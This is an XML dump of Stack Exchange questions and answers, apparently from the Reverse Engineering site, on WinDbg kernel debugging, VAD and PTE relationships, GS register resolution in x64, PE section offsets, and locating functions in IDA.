  <row Id="21030" PostTypeId="2" ParentId="21027" CreationDate="2019-04-03T13:45:24.483" Score="2" Body="&lt;p&gt;push 402010 is broken down like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;402010 - base_address - virtual_address_of_section + file_ptr_to_rawdata&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your data has some inconsistencies it must be a counted string or pascal string etc there is a 4 byte mismatch between the addresses 0xc/0x8 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;disassembly of a string push&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; u . l4&#xA;msgbox!WinMain:&#xA;002c1000 55              push    ebp&#xA;002c1001 8bec            mov     ebp,esp&#xA;002c1003 6a00            push    0&#xA;002c1005 6810202c00      push    offset msgbox!⌂USER32_NULL_THUNK_DATA+0x4 (002c2010)&#xA;&#xA;0:000&amp;gt; db 2c2010 l20&#xA;002c2010  57 69 6e 64 20 54 65 73-74 00 00 00 54 65 73 74  Wind Test...Test&#xA;002c2020  20 54 68 65 20 57 69 6e-64 00 00 00 00 00 00 00   The Wind.......&#xA;&#xA;0:000&amp;gt; ? msgbox&#xA;Evaluate expression: 2883584 = 002c0000&#xA;&#xA;0:000&amp;gt; ? 2c2010 -msgbox&#xA;Evaluate expression: 8208 = 00002010&#xA;&#xA;0:000&amp;gt; .shell -ci &quot;!dh -s msgbox&quot; grep -A 5 #2&#xA;SECTION HEADER #2&#xA;  .rdata name&#xA;     206 virtual size&#xA;    2000 virtual address&#xA;     400 size of raw data&#xA;     600 file pointer to raw data&#xA;&#xA;&#xA;0:000&amp;gt; ? 0x2010 - 0x2000 + 0x600&#xA;Evaluate expression: 1552 = 00000610&#xA;&#xA;0:000&amp;gt; q&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dispaly on hexeditor &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;xxd -g 1 -s 0x610 -l0x20 msgbox.exe&#xA;0000610: 57 69 6e 64 20 54 65 73 74 00 00 00 54 65 73 74  Wind Test...Test&#xA;0000620: 20 54 68 65 20 57 69 6e 64 00 00 00 00 00 00 00   The Wind.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-04-03T13:55:42.903" LastActivityDate="2019-04-03T13:55:42.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21031" PostTypeId="1" AcceptedAnswerId="21036" CreationDate="2019-04-03T14:21:26.970" Score="1" ViewCount="1535" Body="&lt;p&gt;[cross-posted (but closed the original) from &lt;a href=&quot;https://stackoverflow.com/q/55438806/254959]&quot;&gt;https://stackoverflow.com/q/55438806/254959]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to gain a better understanding on Windows process memory, and have some gaps with regards to the relationship between the VAD tree, the PTEs and loaded modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output below are captured from a kernel debugging session, but in the context of a simple process which runs a simple compiled &quot;hello world&quot; C program.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When I do an &lt;code&gt;lm&lt;/code&gt;, there are many modules listed, but when I do a !vad, I only see 5 mapped in (my own process binary and 4 other Windows DLLs).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; lm&#xA;start             end                 module name&#xA;00007ffd`ea8f0000 00007ffd`ea91b000   vertdll    (deferred)             &#xA;00007ffd`ea920000 00007ffd`eab00000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\13B64B553003FA22AB7CCD36A3A5431F1\ntdll.pdb&#xA;fffff416`a3800000 fffff416`a3b94000   win32kfull   (deferred)             &#xA;fffff416`a3ba0000 fffff416`a3db2000   win32kbase   (deferred)             &#xA;fffff416`a3dc0000 fffff416`a3dca000   TSDDD      (deferred)             &#xA;fffff416`a3dd0000 fffff416`a3e11000   cdd        (deferred)             &#xA;fffff416`a4290000 fffff416`a4307000   win32k     (deferred)             &#xA;fffff800`a5c01000 fffff800`a64d3000   nt         (pdb symbols)          C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\31C51B7D1C2545A88F69E13FC73E68941\ntkrnlmp.pdb&#xA;fffff800`a64d3000 fffff800`a6552000   hal        (deferred)             &#xA;fffff800`a6600000 fffff800`a6647000   kd_02_8086   (deferred)             &#xA;...&#xA;fffff80b`85960000 fffff80b`8597c000   disk       (deferred)             &#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !vad&#xA;VAD           Level     Start       End Commit&#xA;ffff8908f102b0c0  4     7ffe0     7ffe0      1 Private      READONLY           &#xA;ffff8908ef465290  3     7ffe1     7ffef     -1 Private      READONLY           &#xA;ffff8908f169f100  4   fb63c20   fb63d1f      6 Private      READWRITE          &#xA;ffff8908ef4c86e0  2   fb63e00   fb63fff      3 Private      READWRITE          &#xA;ffff8908ef17e3b0  3  2e38e030  2e38e03f      0 Mapped       READWRITE          Pagefile section, shared commit 0x10&#xA;ffff8908ef592280  4  2e38e040  2e38e046      1 Private      READWRITE          &#xA;ffff8908f1873410  1  2e38e050  2e38e068      0 Mapped       READONLY           Pagefile section, shared commit 0x19&#xA;ffff8908ef106a00  3  2e38e070  2e38e073      0 Mapped       READONLY           Pagefile section, shared commit 0x4&#xA;ffff8908f19eea10  2  2e38e080  2e38e080      0 Mapped       READONLY           Pagefile section, shared commit 0x1&#xA;ffff8908f0fba340  3  2e38e090  2e38e090      1 Private      READWRITE          &#xA;ffff8908f0fdc980  0  2e38e0a0  2e3900a0      1 Private      READWRITE          &#xA;ffff8908ef215060  3  2e390130  2e39022f     17 Private      READWRITE          &#xA;ffff8908ef084860  2  2e390230  2e3902f4      0 Mapped       READONLY           \Windows\System32\locale.nls&#xA;ffff8908f14e3e90  3 7ff67f9a0 7ff67fa9f      0 Mapped       READONLY           Pagefile section, shared commit 0x5&#xA;ffff8908ef3025c0  1 7ff67faa0 7ff67fac2      0 Mapped       READONLY           Pagefile section, shared commit 0x23&#xA;ffff8908f0ef7c70  4 7ff67fe30 7ff67fe51      3 Mapped  Exe  EXECUTE_WRITECOPY  \Users\user\Desktop\test\x64\Release\test.exe&#xA;ffff8908ef6ad770  3 7ffde5240 7ffde52c7      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\apphelp.dll&#xA;ffff8908ef1bcf70  4 7ffde7470 7ffde76d5      8 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\KernelBase.dll&#xA;ffff8908f16717a0  2 7ffde9270 7ffde931d      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\kernel32.dll&#xA;ffff8908f0e50c30  3 7ffdea920 7ffdeaaff     12 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\ntdll.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I &lt;code&gt;!pte&lt;/code&gt; and even &lt;code&gt;db&lt;/code&gt; on one of the modules that is not in the &lt;code&gt;!vad&lt;/code&gt; output (specifically, the &lt;code&gt;disk&lt;/code&gt; module), it is a valid, mapped-in address, and I can even read its content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !pte fffff80b`85960000&#xA;                                           VA fffff80b85960000&#xA;PXE at FFFFFB7DBEDF6F80    PPE at FFFFFB7DBEDF0170    PDE at FFFFFB7DBE02E160    PTE at FFFFFB7C05C2CB00&#xA;contains 0000000001109063  contains 0A0000007E55D863  contains 0A00000002A81863  contains 890000007D044963&#xA;pfn 1109      ---DA--KWEV  pfn 7e55d     ---DA--KWEV  pfn 2a81      ---DA--KWEV  pfn 7d044     -G-DA--KW-V&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; db fffff80b`85960000&#xA;fffff80b`85960000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............&#xA;fffff80b`85960010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......&#xA;fffff80b`85960020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................&#xA;fffff80b`85960030  00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00  ................&#xA;fffff80b`85960040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th&#xA;fffff80b`85960050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno&#xA;fffff80b`85960060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS &#xA;fffff80b`85960070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why then, does &lt;code&gt;!vad&lt;/code&gt; not contain this entry?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;When I &lt;code&gt;!dh&lt;/code&gt; on one of the loaded PEs, e.g., the EXE for my own process, I can see that it consists of different sections with different memory access protection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !dh 7ff67fe30000&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;FILE HEADER VALUES&#xA;    8664 machine (X64)&#xA;       6 number of sections&#xA;5CA04653 time date stamp Sat Mar 30 21:47:15 2019&#xA;&#xA;       0 file pointer to symbol table&#xA;       0 number of symbols&#xA;      F0 size of optional header&#xA;      22 characteristics&#xA;            Executable&#xA;            App can handle &amp;gt;2gb addresses&#xA;&#xA;...&#xA;&#xA;SECTION HEADER #1&#xA;   .text name&#xA;   10FA0 virtual size&#xA;    1000 virtual address&#xA;   11000 size of raw data&#xA;...&#xA;60000020 flags&#xA;         Code&#xA;         (no align specified)&#xA;         Execute Read&#xA;&#xA;SECTION HEADER #2&#xA;  .rdata name&#xA;    96F6 virtual size&#xA;   12000 virtual address&#xA;    9800 size of raw data&#xA;   11400 file pointer to raw data&#xA;...&#xA;40000040 flags&#xA;         Initialized Data&#xA;         (no align specified)&#xA;         Read Only&#xA;&#xA;...&#xA;&#xA;SECTION HEADER #6&#xA;  .reloc name&#xA;     614 virtual size&#xA;   21000 virtual address&#xA;     800 size of raw data&#xA;...&#xA;42000040 flags&#xA;         Initialized Data&#xA;         Discardable&#xA;         (no align specified)&#xA;         Read Only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, according to the Windows Internals book,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is one VAD for each virtually contiguous range of not-free virtual addresses that all have the &lt;strong&gt;same characteristics (reserved versus committed versus mapped, memory access protection&lt;/strong&gt;, and so on).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I would expect that each loaded module would be represented by a few VAD entries, for each section with different memory access protection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;!vad&lt;/code&gt; shows each loaded module as a single entry with the permission &lt;code&gt;EXECUTE_WRITECOPY&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !vad&#xA;VAD           Level     Start       End Commit&#xA;...&#xA;ffff8908f0ef7c70  4 7ff67fe30 7ff67fe51      3 Mapped  Exe  EXECUTE_WRITECOPY  \Users\user\Desktop\test\x64\Release\test.exe&#xA;ffff8908ef6ad770  3 7ffde5240 7ffde52c7      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\apphelp.dll&#xA;ffff8908ef1bcf70  4 7ffde7470 7ffde76d5      8 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\KernelBase.dll&#xA;ffff8908f16717a0  2 7ffde9270 7ffde931d      5 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\kernel32.dll&#xA;ffff8908f0e50c30  3 7ffdea920 7ffdeaaff     12 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\ntdll.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is that so?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;In that case, how can I have a complete picture of the memory pages that are accessible by a process, and their associated memory access protection? Initially, I thought of relying on &lt;code&gt;!vad&lt;/code&gt; output, but seems like it doesn't give a complete picture? Does it mean that I should iterate through and run &lt;code&gt;!pte&lt;/code&gt; on every multiple of 0x1000 from 0x0 to 0xFFFFFFFFFFFFFFFF?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28026" LastActivityDate="2019-04-03T21:19:07.307" Title="windbg - What is the relation between the VAD (!vad), the PTEs (!pte), and loaded modules and sections (lm and !dh)?" Tags="|windows|windbg|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21033" PostTypeId="1" AcceptedAnswerId="21039" CreationDate="2019-04-03T16:19:52.543" Score="3" ViewCount="3278" Body="&lt;p&gt;I'm trying to understand how to resolve segment addressing (specifically the GS register in X64).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My toy program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    unsigned long long x;&#xA;    __debugbreak();&#xA;    x = __readgsqword(0x30);&#xA;    printf(&quot;0x%I64X&quot;, x);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which compiles to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; u&#xA;00007ff6`10201074 cc                 int     3&#xA;00007ff6`10201075 65488b142530000000 mov   rdx,qword ptr gs:[30h]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I step once to reach the instruction which reads memory using the &lt;code&gt;GS&lt;/code&gt; register, and I retrieve the value of the &lt;code&gt;GS&lt;/code&gt; register, the content of the GDT, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r @gs&#xA;gs=002b&#xA;&#xA;kd&amp;gt; r @gdtr&#xA;gdtr=fffff80105471fb0&#xA;&#xA;kd&amp;gt; .formats @gs&#xA;Evaluate expression:&#xA;  Hex:     00000000`0000002b&#xA;  ...&#xA;  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000000 00101011&#xA;&#xA;kd&amp;gt; dq (@gdtr + (5 * 8)) L1&#xA;fffff801`05471fd8  00cff300`0000ffff&#xA;&#xA;kd&amp;gt; .formats poi(@gdtr + (5 * 8))&#xA;Evaluate expression:&#xA;  Hex:     00cff300`0000ffff&#xA;  ...&#xA;  Binary:  00000000 11001111 11110011 00000000 00000000 00000000 11111111 11111111&#xA;&#xA;kd&amp;gt; dg gs&#xA;                                                    P Si Gr Pr Lo&#xA;Sel        Base              Limit          Type    l ze an es ng Flags&#xA;---- ----------------- ----------------- ---------- - -- -- -- -- --------&#xA;002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So from &lt;code&gt;dg gs&lt;/code&gt;, I can see that the &lt;code&gt;GS&lt;/code&gt; segment is at offset &lt;code&gt;0x0&lt;/code&gt;, which is consistent with the entry retrieved from the GDT using the &lt;code&gt;GS&lt;/code&gt; register value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Observe that at this point, offset &lt;code&gt;0x0&lt;/code&gt; is not &quot;valid&quot; memory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dq gs:[30]&#xA;002b:00000000`00000030  ????????`???????? ????????`????????&#xA;&#xA;kd&amp;gt; dq 30&#xA;00000000`00000030  ????????`???????? ????????`????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that the value of &lt;code&gt;RDX&lt;/code&gt; at this point (before storing the QWORD retrieved from memory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r @rdx&#xA;rdx=000001dfbf892d40&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I step once, expecting a bug check as I am retrieving invalid memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But surprisingly, it doesn't, and &lt;code&gt;RDX&lt;/code&gt; appeared to have gotten assigned a value from &lt;em&gt;somewhere&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r @rdx&#xA;rdx=00000035ed53f000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even more surprising, the &lt;code&gt;GS&lt;/code&gt; register still resolves to offset &lt;code&gt;0x0&lt;/code&gt; which still contains &quot;invalid&quot; memory!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; r @gs&#xA;gs=002b&#xA;&#xA;kd&amp;gt; r @gdtr&#xA;gdtr=fffff80105471fb0&#xA;&#xA;kd&amp;gt; dq (@gdtr + (5 * 8)) L1&#xA;fffff801`05471fd8  00cff300`0000ffff&#xA;&#xA;kd&amp;gt; dg gs&#xA;                                                    P Si Gr Pr Lo&#xA;Sel        Base              Limit          Type    l ze an es ng Flags&#xA;---- ----------------- ----------------- ---------- - -- -- -- -- --------&#xA;002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3&#xA;&#xA;kd&amp;gt; dq gs:[30]&#xA;002b:00000000`00000030  ????????`???????? ????????`????????&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why does my &lt;code&gt;GS&lt;/code&gt; register resolve to offset 0x0?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And where/how does the &lt;code&gt;mov rdx,qword ptr gs:[30h]&lt;/code&gt; read memory from?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28026" LastActivityDate="2019-04-04T17:53:56.853" Title="windbg - Why does the GS register resolve to offset 0x0?" Tags="|windows|windbg|kernel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21034" PostTypeId="2" ParentId="21012" CreationDate="2019-04-03T16:30:43.267" Score="0" Body="&lt;p&gt;You have code which scales and offsets, you need to scale and offset.  So you do not need to change the &lt;em&gt;code&lt;/em&gt; at all, just the constants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Work your new operation backwards into the existing math. Change the sign of one of the constants you multiply by, and work the offset back through the multiplication and sign change and combine it with the original offset. &lt;/p&gt;&#xA;" OwnerUserId="2054" LastActivityDate="2019-04-03T16:30:43.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21036" PostTypeId="2" ParentId="21031" CreationDate="2019-04-03T21:12:22.063" Score="2" Body="&lt;p&gt;when you are in kd session lm displays both kernelmode modules and user mode modules&lt;/p&gt;&#xA;&#xA;&lt;p&gt;use lm u to display only usermode modules &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this will be consistent with the !vad display &lt;/p&gt;&#xA;&#xA;&lt;p&gt;kernel mode modules aren't associated with a single process and as such they are not a part of processes virtual address descriptor table &lt;/p&gt;&#xA;&#xA;&lt;p&gt;obviously you can get the pte for any virtual address and obviously you can read from any virtual address &lt;/p&gt;&#xA;&#xA;&lt;p&gt;iirc the versus is the qualifier in the Quote  the image VADS all will have MEM_IMAGE as their type and they would be contiguous&#xA;you cant split them to their individual sections from !vad &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to be in usermode and do !vadump for the specific image in the specific process&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a single CONTIGOUS MEM_IMAGE vad &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; !vad ffffde04de1b7d90&#xA;VAD           Level     Start       End Commit&#xA;ffffde04de1b7d90  0 7ffdb7c80 7ffdb7e6c     21 Mapped  Exe  EXECUTE_WRITECOPY  \Windows\System32\ntdll.dll&#xA;&#xA;Total VADs: 1, average level: 1, maximum depth: 0&#xA;Total private commit: 0x15 pages (84 KB)&#xA;Total shared commit:  0 pages (0 KB)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I attached this process to a local windbg in the target &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the split for this vad &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BaseAddress:       00007ffdb7c80000  &amp;lt;&amp;lt; + &#xA;RegionSize:        0000000000001000  &amp;lt;&amp;lt;  ====&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000002  PAGE_READONLY&#xA;Type:              01000000  MEM_IMAGE&#xA;&#xA;BaseAddress:       00007ffdb7c81000 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; + &#xA;RegionSize:        0000000000117000 &amp;lt;&amp;lt; ====&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000020  PAGE_EXECUTE_READ&#xA;Type:              01000000  MEM_IMAGE&#xA;&#xA;BaseAddress:       00007ffdb7d98000 &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&#xA;RegionSize:        0000000000047000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000002  PAGE_READONLY&#xA;Type:              01000000  MEM_IMAGE&#xA;&#xA;BaseAddress:       00007ffdb7ddf000&#xA;RegionSize:        0000000000001000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000004  PAGE_READWRITE&#xA;Type:              01000000  MEM_IMAGE&#xA;&#xA;BaseAddress:       00007ffdb7de0000&#xA;RegionSize:        0000000000002000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000008  PAGE_WRITECOPY&#xA;Type:              01000000  MEM_IMAGE&#xA;&#xA;BaseAddress:       00007ffdb7de2000&#xA;RegionSize:        0000000000008000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000004  PAGE_READWRITE&#xA;Type:              01000000  MEM_IMAGE&#xA;&#xA;BaseAddress:       00007ffdb7dea000  &amp;lt;&amp;lt;&amp;lt;&amp;lt; + &#xA;RegionSize:        0000000000083000  &amp;lt;&amp;lt;&amp;lt;  =====      ((00007ffdb7e6d000 - page size) / pagesize)  = vad end  7ffdb7e6c&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000002  PAGE_READONLY&#xA;Type:              01000000  MEM_IMAGE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the lm in usermode &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:001&amp;gt; lm m ntdll&#xA;Browse full module list&#xA;start             end                 module name&#xA;00007ffd`b7c80000 00007ffd`b7e6d000   ntdll     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can do !dh here and add look at the virtual address  each virtual address will match &#xA;!vadumps entry and  will show what different protections are applied &lt;/p&gt;&#xA;&#xA;&lt;p&gt;read about VirtualAlloc and Virtual Protect &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can allot a very big memory and change protections for page sizes inbetween them &#xA;the big allocation is equivalent for vad  while !vadump in usermode will show the virtualprotected state &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a process can access only the usermode virtual addresses it cannot access the kernel mode addresses it need a mechanism to do that (syscalls do that work)  &lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-04-03T21:19:07.307" LastActivityDate="2019-04-03T21:19:07.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21037" PostTypeId="2" ParentId="21033" CreationDate="2019-04-04T06:35:11.833" Score="2" Body="&lt;p&gt;gs is kernel mode only &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see the data in windbg if you are in a kd session&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0: kd&amp;gt; ? @@c++(@$pcr-&amp;gt;GdtBase)&#xA;Evaluate expression: -8781100130384 = fffff803`7da55fb0&#xA;0: kd&amp;gt; dq gs:[0] l1&#xA;002b:00000000`00000000  fffff803`7da55fb0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;__readgsword() is an intrinsic it must have some magic :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; rdmsr c0000101&#xA;msr[c0000101] = ffffe601`555ea000&#xA;1: kd&amp;gt; dq ffffe601`555ea000 l1&#xA;ffffe601`555ea000  ffffe601`555fdfb0&#xA;1: kd&amp;gt; ? @@c++(@$pcr-&amp;gt;GdtBase)&#xA;Evaluate expression: -28581575008336 = ffffe601`555fdfb0&#xA;1: kd&amp;gt; dq gs:[0] l1&#xA;002b:00000000`00000000  ffffe601`555fdfb0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;!teb is user_gs_base (which is swapped by swapgs on entering kmode )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1: kd&amp;gt; rdmsr c0000102&#xA;msr[c0000102] = 00000080`56086000&#xA;1: kd&amp;gt; !teb&#xA;TEB at 0000008056086000&#xA;    ExceptionList:        0000000000000000&#xA;    StackBase:            0000008055f40000&#xA;    StackLimit:           0000008055f00000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2019-04-04T17:53:56.853" LastActivityDate="2019-04-04T17:53:56.853" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21039" PostTypeId="2" ParentId="21033" CreationDate="2019-04-04T13:28:34.157" Score="3" Body="&lt;p&gt;In long mode, segmentation is not really used and all segment registers have base of 0. &lt;code&gt;fs&lt;/code&gt; and &lt;code&gt;gs&lt;/code&gt; are exceptions that were added to address thread-specific data. Their real base addresses are stored in MSRs (model specific registers) instead of the descriptor table. The MSRs are only accessible in kernel mode, but you can get the value of &lt;code&gt;GS&lt;/code&gt; indirectly via the &lt;code&gt;!teb&lt;/code&gt; command, or &lt;code&gt;~&lt;/code&gt; (list threads). The &lt;code&gt;Teb:&lt;/code&gt; field will show the TEB base which matches the &lt;code&gt;GS&lt;/code&gt; base for that thread. For more info, check &lt;a href=&quot;https://wiki.osdev.org/SWAPGS&quot; rel=&quot;nofollow noreferrer&quot;&gt;SWAPGS&lt;/a&gt; on the Osdev wiki.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-04-04T13:28:34.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21040" PostTypeId="2" ParentId="21025" CreationDate="2019-04-04T13:30:57.570" Score="1" Body="&lt;p&gt;It seems that &lt;code&gt;off_FFFFFFF006F1E960&lt;/code&gt; points to &lt;code&gt;qword_FFFFFFF0077F08A8&lt;/code&gt; which is probably intialized somewhere else with the actual address to be called at runtime.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-04-04T13:30:57.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21041" PostTypeId="1" CreationDate="2019-04-04T13:59:05.720" Score="0" ViewCount="4847" Body="&lt;p&gt;i created a program for testing, very simple in c++.&#xA;is ask for password if it is match is print correct, if no it is print &quot;bad&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i try to find with ida where is the function of what i made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but i can find it only with the strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there is a different way to find it?, i mean not by the string?&#xA;maybe with the debugger step by step? or something else?&#xA;because in other programs i don't have strings, and its hard for me to find function.&lt;/p&gt;&#xA;" OwnerUserId="28030" LastActivityDate="2023-12-23T12:06:25.807" Title="How to find functions in IDA Pro/x64dbg" Tags="|ida|disassembly|ollydbg|debuggers|dynamic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21043" PostTypeId="2" ParentId="21041" CreationDate="2019-04-04T15:18:55.887" Score="0" Body="&lt;p&gt;There are a couple of ways to find the main() function. In IDA you can set the debugger to break on the entry point. This is sometimes not the main() function, but if you break there you can single-step until you reach the main function. You can also often find main() in the list of functions in IDA because main is one of the symbols. This is probably the simplest way to identify the function but it sounds like that is not working for you.&lt;/p&gt;&#xA;" OwnerUserId="118" LastActivityDate="2019-04-04T15:18:55.887" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
